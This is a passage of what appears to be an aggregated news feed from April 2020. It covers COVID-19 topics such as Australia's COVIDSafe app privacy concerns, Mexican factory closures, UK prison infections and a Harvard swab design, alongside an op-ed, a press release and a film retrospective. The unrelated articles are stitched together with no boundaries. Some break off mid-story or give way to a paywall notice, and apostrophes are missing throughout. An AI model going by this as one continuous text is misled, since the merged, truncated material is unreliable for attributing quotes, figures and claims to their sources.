to the "global economic crumbling" he chortles over. He has thrown away capitalism with Vermont history, discarded self-reliance with self-respect, and cast common sense to the wind. Yet Mr. Betts has not thrown away economics: We can also delight in the benefits from the large economic downturn. Decline in the pollution from air travel and less driving helps Earth. The big drop in global air pollution from the reduced burning of fossil fuels benefits the planet, and ironically may save as many lives as are dying from COVID-19. Mr. Betts proposes to 1) use a collapsing economy and gas prices to 2) take money from working-class people to 3) finance renewable energy projects and electric vehicles that benefit the wealthy, while 4) blaming wealthy capitalists and 5) saving all life on planet Earth. Families are struggling financially, with food security threatened for some even in Vermont. The government faces fiscal crisis. But with gasoline consumption the lowest since the Vietnam War, Mr. Betts and other progressive Earth rescuers have dropped the pretense that a fuel tax will reduce consumption and are simply grabbing for a tax. There is a big difference between an existential futuristic threat of global climate change and the very real and present harm to humanity of seismic economic collapse. There is also a huge gulf between dreading and delighting in that economic downturn, which may yet claim vastly more lives than were taken by COVID-19 (or saved by that "big drop in air pollution"). It is surreal to delight in the face of mass human suffering while opportunistically advocating a regressive tax on cheap gas to "transition to an efficient society." Human morality is crumbling faster than the global economy. What is this new sacred theology that is replacing the free market? Traditional Roman Catholic marriage ceremonies are continuing to decline in popularity as more couples opt for civil ceremonies. Roman Catholic ceremonies accounted for 45.1% of all ceremonies performed in Ireland last year down from 49.2% in 2018. Data issued by the Central Statistics Office (CSO) for marriages in 2019 shows that civil marriages were the ceremony of choice for nearly one-third of opposite-sex couples, at some 30.6%. In 2019, there were 20,313 marriages in Ireland. Of these, 640 were same-sex marriages. There has been a steady decline in the number of marriages in Ireland since 2014, when 22,045 ceremonies were performed. These figures are certain to decline further in 2020, CSO statistician, Carol Anne Hennessy, said. "While there were 20,313 marriages registered in 2019, there is likely to be an impact on the registration of marriages in 2020 due to the Covid-19 pandemic and this will be reflected in the Marriages 2020 release," she said. Physical distancing and caps on social gatherings are expected to play a significant role in the number of ceremonies which can be staged later in the year, while the lockdown has resulted in an almost total stop to weddings in the last few weeks. Meanwhile, brides and grooms are getting older, according to the CSO. The average bride is now 34.8 years and the average groom is now 36.8 years. And, unsurprisingly, the warmer months are the most popular for weddings. June, July and August are the most popular. Friday and Saturday continue to be the most popular days to tie the knot for opposite-sex couples, while Friday is the most popular day for same-sex couples. In addition to the decline in Roman Catholic ceremonies, the CSO reports an increase in the number of couples choosing humanist and Spiritualist Union of Ireland ceremonies. Social media is in a frenzy as people react to the recent announcement by Gov. Greg Abbott to reopen Texas beginning May 1. On Monday, Gov. Abbott announced the stay-at-home order would expire as planned on Thursday allowing some businesses such as retail stores, movie theaters and restaurants to open at a 25 percent capacity. Shrugging off early privacy concerns and warnings of serious privacy implications from security experts, the Australian federal governments COVIDSafe app which was released this week to help streamline the process of COVID-19 coronavirus contact tracing has been downloaded more than 2 million times within days. Early reports of technical problems and usage issues iPhone apps must not, for example, broadcast Bluetooth signals when running in the background have also spawned concerns the app may present usability issues in the long term. COVIDSafe relies on smartphones Bluetooth radios interacting with each other to determine who came in close contact with whom. [ Keep up on the latest thought leadership, insights, how-to, and analysis on IT through CSO Onlines newsletters. ] How the COVIDSafe app could unmask users identities COVIDSafe is an evolution of Singapores TraceTogether, an early app-based approach to contact tracing that rapidly became a global exemplar and has been open-sourced to encourage wide use. It collects a limited information set including a name (or pseudonym), age range, postal code and phone number all of which are being stored on an Amazon Web Services (AWS) installation and will not, the government has been promised, be made available to federal social-welfare, tax-collection, national-security, or other authorities. To bolster public confidence, the government has announced plans to release its source code for open scrutiny but some developers have already been poring over the app in other ways. One team of four developers led by cryptographer Vanessa Teague of the University of Melbourne School of Computing and Information Systems used reverse-engineering techniques to learn as much as possible about how the app handles personal data. The apps architecture, their ongoing analysis has concluded, seems approximately similar to the Singaporean TraceTogether architecture, but there are some important differences that users should understand when they are deciding whether to install the app. COVIDSafes basic operation is the sharing of encrypted UniqueIDs with other users, and recording encrypted UniqueIDs received from other users. If a user is infected with COVID-19, they can upload the list of other users encrypted IDs to help authorities quickly trigger widespread testing of potential close contacts. Users UniqueIDs are designed to regenerate every two hours, but if the phone is offline it will continue using the same ID a flaw that the team says has serious privacy implications that are not adequately addressed in the apps attendant Privacy Impact Assessment (PIA). The longer a UniqueID is retained, the team warned in recommending a much shorter refresh period, the more opportunities there are for cross-matching them with internet of things (IoT) devices and other Bluetooth beacons to track a persons movements. The difference between 15 minutes and two hours worth of tracking opportunities is substantial, they concluded. We understand that legislation will attempt to make [tracking] illegal, but making it technically difficult would have been a lot more effective. How many IoT devices in how many Australians homes already violate Australian privacy law? White-hat hacker Marc Rogers, who currently serves as executive director of cyber security strategy at identity-management firm Okta, agreed that this approach paired with a design that seems to transmit information about each users phone in plaintext could leave Australians exposed to tracking and exploitation. Given the extended length between rotations, he said, it would be easy to track app users for long periods of time. Taken together, these two flaws offer enough information for any commercial Bluetooth tracking tool, or even a free Bluetooth tracking app, to track a COVIDSafe user. This is a big problem from a privacy perspective. The apps use of a central server to manage and store UniqueIDs has also been flagged, with Rogers calling it a point of vulnerability and potential privacy risk. Cyber criminals and fraudsters have already entered the fray In the meantime, acceptance of the COVIDSafe app will likely grow as early results suggest that the apps may well be providing the benefits that experts hope for. But theyre also providing new occasions for exploitation by cyber criminals and fraudsters who, true to form, jumped on the opportunities posed by release of the app. One hoax SMS, for example, suggesting the app was being used to track when users go more than 20km from their home address. The government urges COVIDSafe adoption as the Apple-Google tracing system comes into view The 2 million downloads recorded this week suggests that 12 per cent of Australias nearly 17 million mobile users have at least loaded the app, which was launched over the weekend as part of the next stage of the countrys coronavirus response. The government has previously said it is targeting an adoption rate of 40 per cent to produce strong results from the app, which uses Bluetooth technologies to record incidents of close contact with other app users. The COVIDSafe app will soon gain heavyweight competition from a joint effort by Apple and Google, which has seen the mobile-device giants collaborating on a standard for contact tracing, called Privacy-Preserving Contact Tracing, that will be released within weeks. Aligning the interests of the Australian government app with those of the Apple-Google project may be important to avoid confusing consumers with duplicated efforts. Yet despite privacy and technical concerns, the Australian government is throwing its weight behind the COVIDSafe app for now, with Prime Minister Scott Morrison warning that widespread use of the app will be essential to relaxing social-distancing restrictions in the future. Reframing the national privacy conversation, and the dangers of mission creep Reception of the app in Australia, where COVID-19 deaths and infections have remained relatively low thanks to aggressive social-isolation measures, was tainted soon after its announcement despite assurances from health minister Greg Hunt that the country has been able to work to ensure that [the negative experiences of Singapores app] are not an issue in Australia. Australians have a long and ambivalent relationship with digital privacy being both voracious consumers of privacy-violating social-media services like Facebook and Instagram, and culturally sensitised to government efforts to increase its surveillance of their movements or associations. Fully 77 per cent of respondents to a recent Australian survey said they often or occasionally worry about the security of their data yet despite nearly one in five reporting having a social-media account compromised, half said they dont know and havent bothered to find out how to protect themselves online. Controversy has dogged legislation such as that requiring telecommunications companies to archive metadata about users mobile communications, which drew both strong support and strong opposition when it was introduced several years ago. Years later, the metadata is regularly made available to authorities putatively for law enforcement, but also by dozens of agencies that were never intended to have access to the information and the federal government recently moved to extend this so that data about Australians can be provided to law-enforcement authorities in other countries. Australias track record on privacy has shown many agencies will seek to access such data for their own purposes, another analysis of the COVIDSafe app warns. A recent joint statement by more than 300 global experts, dated 19 April 2020, warned that mission creep could result in systems which would allow unprecedented surveillance of society at large. American companies making crucial goods like ventilators, face masks and military equipment are unable to get parts and materials they need because the Mexican government has shuttered hundreds of factories and is refusing to reopen them during the pandemic. Canada and the United States have deemed many manufacturers of parts and materials essential and kept them open during the coronavirus outbreak. But Mexican President Andres Manuel Lopez Obrador is only allowing companies to operate if theyre directly involved in critical industries such as health care, food production or energy and not if they supply materials to companies involved in those industries. So Mexican firms along the supply chain that make everything from cleaning products to motors have shut down. So far, Lopez Obrador has refused to bow to entreaties from the Trump administration and U.S. manufacturers to change his mind, a move that could cost U.S. firms billions as they search for supplies elsewhere around the world and give new ammunition to trade hawks in the administration who want more domestic manufacturing. Im doing all I can to save the U.S.-Mexico-Canada supply chains that were created over the last decades, U.S. Ambassador to Mexico Christopher Landau wrote on Twitter last week. Its possible and essential to take care of the health of workers without destroying these chains. The economic integration of North America requires coordination. A range of U.S. companies from N95 mask supplier 3M to defense contractors say theyre affected by the factory shutdowns in Mexico. Agriculture and food companies report struggling to get the equipment they need for production and distribution of goods. Ventilator makers are reporting trouble getting motors. Companies seeking cement for construction or generators for energy security say theyre also having difficulties. Mexican President Andres Manuel Lopez Obrador speaks after visiting facilities at a Mexican Social Security Institute (IMSS) hospital that will be converted to receive patients suffering from Covid-19, in the Coyoacan district of Mexico City, Friday, April 3, 2020. Lopez Obrador said Thursday that sections of 80 public hospitals were being isolated and prepared with an average of eight beds and respirators to care for an expected influx of patients with the new coronavirus. (AP Photo/Rebecca Blackwell) More than 320 U.S. manufacturers wrote to Lopez Obrador last week asking him to declare businesses essential if they are producing materials key to the supply chain for critical industries, such as health care like both the U.S. and Canada do. They asked him to reopen some of Mexicos factories with strict safety standards that protect the health of workers. The U.S. State Department has also been in talks with the Mexican government to advocate on behalf of U.S. businesses, a State spokesperson told POLITICO. Story continues Some of the inputs arent always visibly essential and critical, such as motors needed for ventilator production, said Sergio Gomez Lora, a representative of the CEO Business Council of Mexico in the U.S. office. Its not only the medical equipment itself, but all the inputs you need," Gomez Lora said. "That part isnt reflected in the Mexican measures. But Mexico, at first slow in responding to the pandemic, has now entered the peak period of coronavirus transmission, the Mexican government announced last week. And Lopez Obrador said last week that he does not intend to make changes to Mexicos policy until the U.S. economy starts to reopen. Its still not the moment, he said in a daily press conference on Thursday. Weve committed, above all to our national business owners, to analyze the opening [in the U.S.] to little by little start going back to normal productivity at the border. But this has not been decided yet because the coronavirus is unfortunately affecting them very much and we also have sanitary policies. Mexico currently has more than 14,500 confirmed coronavirus cases and more than 1,350 deaths. U.S. businesses predict the disruptions could cost companies billions of dollars and create a long-term disruption in North American manufacturing interdependence that has grown since NAFTA went into effect in 1994. The shutdowns are coming just months before President Donald Trumps new North American trade agreement, the USMCA, is scheduled to go into effect on July 1. These massive supply chain disruptions threaten to undermine the U.S.-Mexico relationship, which comes after Mexico became the U.S. biggest trading partner in 2019, said Neil Herrington, senior vice president of the Americas for the U.S. Chamber of Commerce. So far, some of the major impact has been felt in the medical and food industries, where cleaning and sanitizing supplies, as well as manufacturing and maintenance of equipment necessary for agricultural production, have not been considered essential in Mexico. Even the Pentagon has taken notice of Mexicos stricter approach on what it designates an essential activity. Last week, Ellen Lord, Defense undersecretary for acquisition and sustainment, said the factory closures in Mexico were affecting Defenses major prime contractors, which supply the U.S. defense firms, particularly aerospace manufacturing. Wearing masks against the spread of the new coronavirus, relatives of patients wait outside La Perla public hospital, which is treating people infected with the new coronavirus, in Mexico City, Sunday, April 12, 2020. COVID-19 disease causes mild or moderate symptoms for most people, but for some, especially older adults and people with existing health problems, it can cause more severe illness or death. (AP Photo/Marco Ugarte) A spokesperson for the Mexican Embassy said Mexican Ambassador to the U.S. Martha Barcena has been in touch with concerned U.S. business and industry groups and has transmitted the issue to the government. Part of the issue stems from Mexicos rapid shift in how it is responding to the pandemic. In just a month, Lopez Obrador went from urging Mexicans to go about their lives as normal to strict lockdown measures in an effort to prevent hospitals from being overrun with infected patients. Mexico did a 180 on policy in a matter of days. It went from no response to a very drastic response with not a lot of defined policy in essential services, said a U.S. business source closely following the issue. Meanwhile, some Mexican states, such as Baja California and Sonora, have been more restrictive in their measures. Both of those states on the U.S.-Mexico border are home to thousands of maquiladoras, which have seen many cases of the coronavirus, the Los Angeles Times reported. Still, some of those foreign-owned factories have continued to operate in violation of federal orders. U.S. and Mexican industry sources have also noted that Mexico's approach could make it harder for North America to respond to the crisis. Gomez Lora said Mexicos approach could have repercussions that hurt its own response. At some point, certain essential activities will not be performed," he said, "and that will restrict the ability of the Mexican government to address the health care crisis. WUHAN, April 27 (Xinhua) -- Authorities will offer 250,000 job positions for college graduates in Wuhan, capital of central China's Hubei Province, as the number of new graduates reaches a new high this year. With 83 higher education institutions, Wuhan will see 317,000 college graduates this year, a year-on-year increase of 9.3 percent, said Wu Gang, with the city's bureau of human resources and social security. Wu said that the city will provide 1,000 yuan (about 141 U.S. dollars) in subsidies per graduate student to small, medium- and micro-sized enterprises, as well as social organizations that offer jobs. The city has taken a variety of measures to attract graduates to primary-level jobs, including increasing job in communities, as well as positions as civil servants, Wu said, adding that the city also encourages entrepreneurship with higher subsidies. Covid-19 has claimed over 900 lives across India. While some states are severely hit, with new hotspots emerging on a daily basis, others are healing. As far as the lockdown is concerned, which ends on May 3, many states are not very enthusiastic about lifting it as the cases are not coming down. Business Standard takes a look at regional editions of Hindi newspapers to provide you with a picture of the Covid-19 situation in the hinterland. In solidarity with Inspector Harjeet Punjab Police DGP, along with 80,000 other ranks, wore a badge that read #MaiBhiHarjeet (I am Harjeet) ... Vilnohirsk state mining and metallurgical combine (Dnipropetrovsk region) and Irshansk state mining and processing combine (Zhytomyr region), incorporated in PrJSC United Mining-Chemical Company, have claimed the absence of operational guidance by the head office, threatening a failure to comply with international obligations and large fines. To normalize the situation in the company, the directors of the branches of Vilnohirsk combine and Irshansk combine sent letters to the president and prime minister of Ukraine, as well as to the SBU, the Ministry of Internal Affairs and the State Property Fund with a request to intervene the situation and stabilize the work of the branches and the company in general. According to the letters, copies of which the Interfax-Ukraine agency saw, the branches and representative offices are separate divisions of the legal entity United Mining-Chemical Company and cannot independently conduct business activities. At the same time, a situation has now arisen when branches operate under conditions of limited authority and in the complete absence of managerial decisions on the part of the management of United Mining-Chemical Company. The top managers of the branches are also concerned about the possible financial difficulties in their activities, stating that the management of United Mining-Chemical Company does not respond to letters from the branches regarding the provision of proper management of the financial and economic activities of the branches by the management of the parent company. Due to the lack of funding for the activities of Vilnohirsk combine and Irshansk combine, there is a real threat of a complete shutdown of enterprises, the branches said in the letters. The directors' appeals provide data on the payment of taxes and it is noted that if the branch are halted, local budgets will not receive significant funds. In addition, failure to fulfill contracts for the supply of products will result in fines of approximately $15.541 million for Irshansk combine and $67.392 million for Vilnohirsk combine. At the same time, the total loss from halting Irshansk combine will be about UAH 800 million, and Vilnohirsk combine UAH 1.2 billion. Given this, both branch directors appealed to the country's leadership, ministries and departments with a request to take urgent measures to ensure effective management of the company and divisions. [April 28, 2020] Widen and Zee Jay Digital Form Strategic Partnership MADISON, Wis. and PROVIDENCE, R.I., April 28, 2020 (GLOBE NEWSWIRE) -- Widen, a high-performing digital asset management (DAM) software company, and Zee Jay Digital, a marketing transformation consultancy, today announced a strategic partnership. The two firms are working in concert to provide corporate marketing organizations and in-house agencies a better way to structure, operate, and compete in todays new normal. Zee Jay Digital works with marketing leaders to advance organizational, process, and technology imperatives into vision and execution. The firm has found that many organizations have enterprise-class DAM requirements, yet do not warrant highly customized solutions. In this time of changing priorities, Zee Jay is emphasizing clients right-size investments to meet their precise needs. Widen brings an enterprise-class digital asset management solution to the equation. The robust DAM is unique in the industry in that implementation, including full migration, takes place in just 12 to 18 weeks. Flexibility thats built-in, as well as predictable, milestone-based implementation processes, enable Widen to dramatically streamline deployment. Both Zee Jay and Widen recognize that marketing transformation is often triggered by the need to implement or replace a single system, though the impacts of a single change are felt across a clients full marketing technology ecosystem. Their experience applying complementary solutions allows clients to leverage integrated data across platforms DAM, marketing resource management (MRM), product information management (PIM), financial management, and resurce allocationmaximizing return on marketing and content investment while gaining additional value from their assets. Digital asset management is an essential component of an organizations marketing technology stack. A centralized content hub providing a searchable, shareable library of a brands photos, images, documents, videos, and other creative assets is key to efficient connection with customers. The combination of Zee Jay Digitals consulting services and Widens best-of-breed asset automation provides significant benefit to forward-thinking marketing leaders, said Zee Jays Managing Director, Eric Rotkow. This partnership was created to enable the scalability needed to stay competitive. We look forward to applying our decade-plus marketing process and technology experience with Widen to help our shared clients position themselves for success, Rotkow added. About Widen Established in 1948, Widen builds high-performing software that empowers organizations to create impactful, measurable, and consistent brand experiences. Its platform spans brand management, marketing resource management, video, and creative management solutions and has enabled one million marketers, content creators, and technologists at over 670 global brands to better connect with audiences. Customers include Progressive, Zippo, Energizer, Trek, Zeiss, Salvation Army, Citizen Watch, the Atlanta Falcons, Carnival Cruise Line, Yankee Candle, FINCA, and many more. Headquartered in Madison, Wisconsin, USA and with a European office in London, UK, Widen has the highest customer loyalty in the digital asset management (DAM) industry. Visit Widen.com . About Zee Jay Digital A boutique alternative to global consulting firms, Zee Jay Digital transforms marketings operating model, and the orchestration of work across internal and external teams, to achieve personalized customer experiences at scale. The consultancy was named Workfront Partner of the Year in 2019, and is an Allocadia partner. In addition, Zee Jay is a founding member of the Global Work Management Alliance . Clients include Whole Foods + Amazon, John Hancock, Nike, TJX, Anheuser-Busch, UHS, AAA, Brooks Brothers, Fresenius, Ledvance, Kroger, Big Lots, Perkin Elmer, Bright Horizons, Talbots, Charles River, Giant Eagle, and more. Visit ZeeJayDigital.com . Contact: Jake Athey VP Marketing +1 608-443-5472 [email protected] [ Back To TMCnet.com's Homepage ] Happy anniversary, Terry and Rick! Thirty-five years ago, director Lisa Gottlieb took a group of unknowns to Arizona to shoot Just One of the Guys, a low-budget comedy about a wanna-be journalist named Terry (Joyce Hyser) who disguises herself as a guy at a rival school to win an internship contest. She ends up dodging the advances of a flirty classmate (Sherilyn Fenn) and harassment by a relentless bully (William Zabka) to fall in love with a handsome introvert named Rick (Clayton Rohner). Despite the lack of big names it also starred Billy Jacoby as Terry's libidinous brother Buddy and Toni Hudson as her pal Denise the movie was a hit with teen audiences. Thanks to the encouragement of a few die-hard fans, Sony is releasing the movie today on Blu-Ray. Here, Gottlieb who was only in her 20s when she made the movie looks back on making the movie that remains a cherished cult hit. "I was approached by Columbia Pictures. There was an executive who saw a short film I made and had invited me in for a meeting. He said he's hooking me up with this producer and sending a script called Ladies Man. They felt the script was good, but it was too close to Fast Times at Ridgemont High. The guy said they owned Tootsie. He said, 'Why don't we do Tootsie in a high school?' High school films were cheap to make. They're getting a lot of money. So that was the original pitch." Everett Collection "They wanted unknowns. We threw out of very wide net. We wanted them to be over 18, but we wanted them to look 16. We tested Joyce Hyser and the executives were pretty unanimous. They felt she was really beautiful. Then we dressed her up as a man. They almost bought it! I had convinced them it's about the acting, not about seeing someone on the street and saying, 'Look, that's a man.' They liked that but they also thought that she was very feminine as a woman, but she was kind of tough and street as a guy." Story continues "We couldn't find empty high schools in Los Angeles so we shot in Phoenix and Scottsdale, Arizona. I was still a little nervous that our actors looked like they had been out of high school for awhile, even though we had Sherilyn Fenn and Billy Jacoby. So I called Mesa High School in Tempe and told them we're making a high school movie. We wanted to do some research. I told the actors to dress young, but they all just stared at me. I said, 'Okay, f it. Let's just go.' We sat in a couple of classes. We mixed it up, talked to everybody. One thing that was very clear from the moment we got there, everybody looked much older than any member of the cast. Everyone wore tons of makeup, a lot of dressed like Madonna. Nobody questioned any members of the cast. No one said, 'You're not a high school student.' They didn't even ask me. I was probably 25 at that point." Everett Collection The climactic moment in the movie is when Terry reveals her gender to Rick at the prom. That meant Hyser had to appear nude from the waist up. "I believed that we had to get Joyce's shirt off. I don't think she could convince Rick that she was actually a woman otherwise. I wanted Rick to figure out early in the film that this person who befriended him was a feminine gay man who had a crush on him. All of that was just Rick thinking, 'I really feel for this guy. I like this guy. This guy is trying to impress me. I like this friendship, I can do it.' I wanted to show that Rick wasn't homophobic. I talked to Joyce about it and told her to keep an open mind. If it grew out of the characters, it would feel absolutely real in the moment, not exploitative. Both she and Clayton said it was a great scene and exactly what the scene had to be. I was relieved." With a mere $5 million budget, Just One of the Guys was released on April 26, 1985. It was among the top-grossing movies in the country for four weeks. "It knocked a bunch of action pictures down to lower numbers. We really held on and a few years after it was out, it had made close to $90 million worldwide. So it was a very profitable success. We have two great ideas for sequels. Me and Joyce and Toni came up with them. They all are dying to revisit the roles they played, but as adults whose kids are all having to deal with all kinds of gender issues. We want to do it." Related content: Swimmers return to Bondi beach on April 28, 2020 in Sydney, Australia. Brook Mitchell | Getty Images Countries like Australia, New Zealand and South Korea are among the few which managed to buck the trend and put a lid on the coronavirus outbreak, at least for now. Their success has boosted investor confidence and it's showing in the strength of their currencies. With their economies re-opening again, their currencies have significantly jumped from earlier this year when the outbreak ravaged the Asia Pacific region. In contrast, many of their neighbors in the region are still struggling to control the pandemic. "New Zealand and Australia have been very effective in controlling COVID-19 and are ready to restart their economies," Kathy Lien, managing director of foreign exchange strategy at BK Asset Management, wrote in a note last Friday. "In Australia, AUD (the Australian dollar) soared despite weaker PMIs after Prime Minister Morrison said they are headed for a COVID safe economy," she said. Purchasing Managers' Index (PMI) is an economic indicator of how well the manufacturing sector is performing. "The fact that these countries are ready to restart activity after effectively controlling COVID-19 (and not before) means that they are leaps and bounds ahead of the US in terms of economic recovery, which should be wildly positive for their currencies," Lien said. Australia and New Zealand are in a relatively solid position. Both have strong virus containment, relatively high shares of primary industries sheltered from the consumer-centric slowdowns, and strong fiscal responses. John Bromhead ANZ Research's Foreign Exchange Strategist "There is also a notion that Asia has controlled the virus more effectively than the US and Europe," said Tapas Strickland, director of economics and markets at the National Australia Bank, in a Tuesday note on the recent strengthening of the Australian dollar. The U.S. has the most number of reported cases worldwide with at least 988,000 infections and 56,200 deaths, according to Johns Hopkins University data as of Tuesday morning. Spain, Italy, France and Germany are the other countries most badly-hit by the pandemic. Worldwide, there are more than three million confirmed cases, and at least 211,159 deaths, according to the data. In addition, Australia and New Zealand have many of their major export destinations emerging from lockdown sooner than the U.S. and much of Europe, ANZ Research's Foreign Exchange Strategist, John Bromhead, wrote in a Friday note. China, the largest trading partner of both countries, has restarted production as reported cases slow to single-digit levels, with no new deaths for more than a week. The first coronavirus cases were reported in the country in December. "Australia and New Zealand are in a relatively solid position. Both have strong virus containment, relatively high shares of primary industries sheltered from the consumer-centric slowdowns, and strong fiscal responses," Bromhead wrote. Australian dollar The Australian dollar was one of the region's worst-performing currencies last year, on the back of concerns over its slowing economy and that of China's its largest trading partner. At the start of 2020, it was as high as $0.70 against the U.S. dollar but plunged to a low of $0.5798 in mid-March as virus concerns took hold. Since then, it has surged 11.4% and last changed hands at $0.6460. Australia acted swiftly when the outbreak surfaced in the country, closing off its borders and imposing movement restrictions. This week, its daily new cases came down to single digits, and Australia said it will start easing some restrictions. The country has a total of 6,721 cases and 83 deaths as of April 27, according to Hopkins's data. New Zealand dollar At around mid-March, New Zealand's currency was at a low of $0.5666. It has since gained about 6.4% to above the $0.60 level. The country lowered its alert level on Monday, allowing gatherings of up to 10 people and permitting businesses to reopen, though they cannot physically interact with customers. The country had previously raised its alert level to the highest alert level, which meant no gatherings were allowed and all non-essential businesses to close. The principal and teachers of Kaipara Flats School prepare for the return of a small number of students on April 28, 2020 in Auckland, New Zealand, as lockdown measures ease slightly. Fiona Goodall | Getty Images New Zealand has managed to keep numbers low compared to the rest of the region, after decisively locking down the country soon after the first cases surfaced. It recorded 1,472 confirmed cases, and 19 deaths as of April 27, according to Johns Hopkins. Korean won From initially being Asia's worst-hit country outside China, South Korea is now hailed as a role model for successfully containing the outbreak, after it instituted widespread testing and intensive contact tracing. A general view shows people in a park before the Han river and city skyline of Seoul on April 25, 2020. ED JONES | AFP | Getty Images We have used your information to see if you have a subscription with us, but did not find one. Please use the button below to verify an existing account or to purchase a new subscription. The number of prisoners who have been infected with coronavirus may be up to seven times higher than the published figure, according to a government report. There are 1,783 possible or probable cases on top of 304 confirmed infections across jails in England and Wales, Public Health England (PHE) said. The report, published by the Ministry of Justice (MoJ), states that access to testing for prisoners has been limited and variable, and that the number of laboratory-confirmed cases reported therefore does not represent the true burden of infection in the prison system. Officials have responded to outbreaks in 75 different custodial institutions, the report reveals, with 35 inmates treated in hospital and 15 prisoner deaths. The findings come after justice secretary Robert Buckland told MPs on Monday that just 33 inmates had so far been let out under the governments emergency release programme less than 1 per cent of prisoners eligible for the scheme. The MoJ said on 4 April that it would free up to 4,000 prisoners who were within two months of their release date and had passed a risk assessment, while minister Lucy Frazer told the justice select committee on 15 April that a few hundred prisoners were set for release the next day. But days later, the release scheme was temporarily suspended after six inmates were mistakenly freed and then recalled. The PHE report said there have been no explosive outbreaks in prisons and that the number of cases is reducing, indicating that the initial wave of infections is being contained effectively. But it adds that significant threat levels remain, with measures to quarantine new and at-risk inmates needed for a year. In the absence of a vaccine or effective treatment, risks of large outbreaks in the prison estate will remain, it states. These risks may be escalated later in the year relating to relaxation of wider community restrictions, some return of normal police and court activities. With measures in place, the report estimates there will be 2,800 infections and 100 deaths. One of the measures involves restricting movements of prisoners between jails known as compartmentalisation to stop the seeding of infections, but the report notes that it has been achieved in only a limited way. Recommended Government faces legal action over response to pandemic in prisons The most effective form of compartmentalisation is single-cell accommodation but it was recognised that this would require significant reductions in prisoner population to achieve across the prison estate (about 15,000 people was the estimate at the time the original advice was provided), it states. Labours shadow justice secretary David Lammy MP called for mass testing, contact tracing, shielding and PPE in jails across England and Wales to make sure the virus does not spread out of control. He added: The truth is that the government does not know the true scale of the Covid-19 outbreak in prisons because very few staff and prisoners have been tested for the virus. Explosive outbreaks in prisons are not only extremely dangerous for those on the prison estate. Scientists have warned that prisons can become pumps that spread the virus out of prisons, into hospitals and the general public. Speaking to MPs on Monday, Mr Buckland said: We have restrictive regimes in prisons and have minimised inter-prison transfers to reduce the spread of the virus. Were implementing units to protect the sick, to shield the vulnerable and to cohort new arrivals to reduce risk. There are positive signs that our carefully implemented approach is limiting the impact of this initial phase of the pandemic, that cases and deaths are much lower than originally predicted, but we will continue to do everything possible that this remains the case. He added that prisons had sufficient supplies of most personal protective equipment, but the service was low on coveralls. A MoJ spokesperson said: We have robust and flexible plans in place keep prisoners, staff and the wider public safe based on the latest advice from Public Health England. There are positive early signs that these are proving effective. Tom Holland's quiz will be held in conjunction with his family's charity, Brothers Trust. Spider-Man star Tom Holland is set to host a Marvel-themed quiz show on Instagram on Wednesday. The 23-year-old actor made the revelation during an online appearance on Jimmy Kimmel Live! The virtual quiz will be organised by Brothers Trust, set up by Holland's family to support various charities, to give people a sense of community as the world fights coronavirus pandemic. "The Brothers Trust is a fundraising vehicle that we use to raise money from the general public, that we feed towards charities that we feel need the light and the support. But we felt a little bit uncomfortable asking people for money at this difficult time so we as a collective have been doing the donations." "The reason why we're doing the pub quiz is just to galvanise people and to give people a sense of community and to kind of bring people together and just have a laugh and have a good time. That's essentially what we're trying to do," Holland said. The British star's next and third standalone film as Spider-Man will come out on 5 November, 2021. Researchers at the Wyss Institute at Harvard University, in collaboration with healthcare, research, and industrial partners, have designed a new, fully injection-molded nasopharyngeal swab that can be manufactured quickly and inexpensively at high volume to help address the nationwide and international shortage of swabs for COVID-19 testing and research. The swabs are moving into human trials at SUNY Downstate Medical Center in New York and Translational Genomics arch Institute (TGen), an affiliate of City of Hope in Arizona, which should be completed by the end of next week, and are in preclinical evaluation at six additional hospitals. Data from the two trials will be used to inform larger trials with COVID-19 patients, and California-based medical device manufacturer IPB, Inc. has been working around the clock to ramp up production of the new swabs to reach 200,000 per day by May 15. "Experts have recently estimated that the United States needs to more than triple the number of daily COVID-19 tests in order for the country to be safely reopened by mid-May, but the current swabs are complicated to make, and producers just don't have the ability to increase production to that level in such a short period of time," said Richard Novak, Ph.D., a Senior Staff Engineer at the Wyss Institute who has been leading the multi-institutional effort to develop a fully injection-molded swab, working with the Wyss Institute's Founding Director Donald Ingber, M.D., Ph.D. "These new swabs can help meet the critical need for collecting samples, both to diagnose patients and to study the virus itself so that treatments and a vaccine can be found sooner." The project began just over a month ago when clinician-researchers at Beth Israel Deaconess Medical Center (BIDMC) reached out to Ingber asking for help to solve the hospital's swab shortage as the COVID-19 pandemic was blossoming. Ingber, Novak, and a team of Wyss researchers joined the multi-disciplinary effort, quickly realizing that not only could they design a swab replacement, the Wyss Institute's unique position at the intersection of academia and industry meant that it could bring together clinicians who needed swabs, researchers who were developing them, and manufacturers who could rapidly produce them at low cost, streamlining the process to get the swabs into the hands of doctors and nurses as quickly as possible. "The Wyss Institute site on the Longwood campus is physically connected to Beth Israel Deaconess Medical Center, so it makes sense that they would think of the Wyss Institute as an innovation partner with the capability to solve this type of open-ended problem," said Ingber, who is also the the Judah Folkman Professor of Vascular Biology at Harvard Medical School and Boston Children's Hospital, and Professor of Bioengineering at the Harvard John A. Paulson School of Engineering and Applied Sciences (SEAS). "We were in the midst of figuring out how to shift our staff to work remotely while also starting new COVID-19-related research efforts at the Institute; but the shortage of swabs is such a pressing problem that the decision to help solve it was a no-brainer." Designing and delivering a better swab The nasopharyngeal swabs that have been used in hospitals for more than 50 years consist of two pieces: an injection-molded plastic handle and an absorptive tip made of a soft material such as cotton, polyester, or flocked nylon. Each swab is manufactured in a multi-step process, then assembled, sterilized, and packaged, all of which requires significant time and expense. As part of the overall effort to create a more streamlined alternative, other teams have leveraged 3D printing to meet this challenge, which has led to some useful short-term solutions. However, 3D printing is currently costly and can only be done at scale by a limited number of suppliers. The Wyss team set out to create a new design that could be manufactured using injection molding rather than 3D printing, because injection molding is faster, less expensive, and is routinely used by a broad range of experienced medical device manufacturers worldwide. "We've essentially had to build a medical device company from scratch because we're trying to create a new product, demonstrate that it works, and ship it to customers who need it quickly, and to do that, you need to figure out production, manufacturing, packaging, quality control, clinical trials, etc.," said Novak. In addition to Novak and Ingber, the Wyss team includes members from across the Institute who have contributed their diverse skills to address different facets of the project, including Dave Perry, Ramses Martinez, Isabel Chico-Calero, Adama Sesay, Pawan Jolly, and Jenny Tam. In mid-March, Ramy Arnaout, M.D., Ph.D. and James Kirby, M.D., who lead the Clinical Microbiology Laboratory at the BIDMC, began collaborating with the Wyss team, who developed and tested new swab designs that they 3D printed and showed each other via video calls and email, as social distancing measures prevented them from physically working in the same space. Over repeated trials, they eventually settled on a design with a flexible, honey-dipper-like tip that could be injection-molded. The Wyss team has now sent prototype injection-molded swabs produced by Proto Labs to eight hospitals and health centers for preclinical testing, in which clinicians are evaluating the swabs' performance on a 